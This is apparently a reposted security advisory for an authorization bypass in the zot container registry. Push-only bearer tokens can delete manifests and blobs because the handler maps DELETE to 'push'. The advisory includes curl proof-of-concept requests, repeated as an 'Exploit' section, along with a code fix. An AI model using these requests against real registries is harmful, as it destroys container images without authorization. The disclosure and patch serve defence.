Listen to this Post
A bearer token with only pull and push scopes can delete manifests and blobs from a zot registry.
The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the “push” action.
The DistSpecAuthzHandler middleware is bypassed entirely for bearer-authenticated requests.
This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs.
The deletion is limited only by the token’s repository scope.
This violates the Docker Distribution Token Authentication Specification.
The vulnerability exists in pkg/api/authn.go:571–586.
The bearer authentication handler maps HTTP methods to token scope actions using a binary check.
action := “pull”
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
action = “push”
}
This collapses DELETE, PUT, PATCH, and POST into a single “push” action.
The “delete” action is never assigned.
The vulnerability also exists in pkg/api/authz.go:270–275 and 318–323.
When a request is authenticated via bearer token, DistSpecAuthzHandler is bypassed.
DistSpecAuthzHandler normally performs fine-grained action inference.
It distinguishes create, read, update, and delete.
Bearer-authenticated requests skip this middleware entirely.
Neither DeleteManifest nor DeleteBlob performs an independent delete authorization check.
DeleteManifest is in routes.go:799–884.
DeleteBlob is in routes.go:1192–1241.
The Docker Distribution Token Scope Documentation defines delete as a distinct action separate from push.
The reference implementation distribution/distribution maps DELETE requests to the “delete” action.
Zot’s native access-control configuration explicitly distinguishes delete as a separate permission.
This confirms delete is intended to be a distinct authorization action.
The PoC uses zot v2.1.15 with bearer authentication enabled.
The token server issues JWTs with actions: [“pull”, “push”] and no “delete”.
A config blob is uploaded with POST and returns 201 Created.
A manifest tagged v1.0 is pushed with PUT and returns 201 Created.
The same push-only token sends DELETE to /v2/poc-test/manifests/v1.0.
Expected behavior is 401 Unauthorized with WWW-Authenticate requesting scope=”repository:poc-test:delete”.
Actual behavior is 202 Accepted and the manifest is permanently deleted.
A follow-up GET returns 404 Not Found.
The root cause is action mapping collapse plus bearer authorization bypass.
The fix should map DELETE to the “delete” action.
The fix should reconsider the DistSpecAuthzHandler bypass for bearer-authenticated requests.
Handler-level authorization checks for delete should also be added.
Impact includes privilege escalation and unauthorized deletion.
Any push-scope bearer token can delete arbitrary manifests and blobs in scope.
CI/CD least-privilege tokens can be abused to delete tags and blobs.
Production container images can be rendered unpullable.
Image history can be rewritten by removing specific tags.
DailyCVE Form:
Platform: Zot Registry
Version: v2.1.15
Vulnerability: Bearer Auth Bypass
Severity: Critical
date: Not Provided
Prediction: Not Provided
(end of form)
What Undercode Say:
Analytics
Obtain bearer token with scope repository:poc-test:pull,push (no delete)
Upload a config blob
curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/octet-stream" \
-X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
-d '{}'
→ 201 Created
Push a manifest tagged v1.0
curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
-X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
-d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
→ 201 Created
DELETE the manifest with the same push-only token
curl -H "Authorization: Bearer $TOKEN" \
-X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
→ 202 Accepted (VULNERABLE)
Confirm the manifest is gone
curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
"http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
→ 404 Not Found
action := "pull"
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
action = "push"
}
if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) {
next.ServeHTTP(response, request)
return
}
Exploit: (Educational Purposes!)
curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/octet-stream" \
-X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
-d '{}'
curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
-X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
-d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
curl -H "Authorization: Bearer $TOKEN" \
-X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
"http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
Protection: from this CVE
action := "pull"
switch {
case m == http.MethodGet || m == http.MethodHead:
action = "pull"
case m == http.MethodDelete:
action = "delete"
default:
action = "push"
}
Reconsider DistSpecAuthzHandler bypass for bearer-authenticated requests. Add handler-level delete authorization checks in DeleteManifest and DeleteBlob. Enforce repository:poc-test:delete scope for DELETE requests.
Impact:
- Privilege Escalation / Unauthorized Deletion
- Any push-scope bearer token can delete manifests and blobs.
- CI/CD least-privilege tokens can delete tags and blobs.
- Production container images can be rendered unpullable.
- Image history can be rewritten by removing specific tags.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

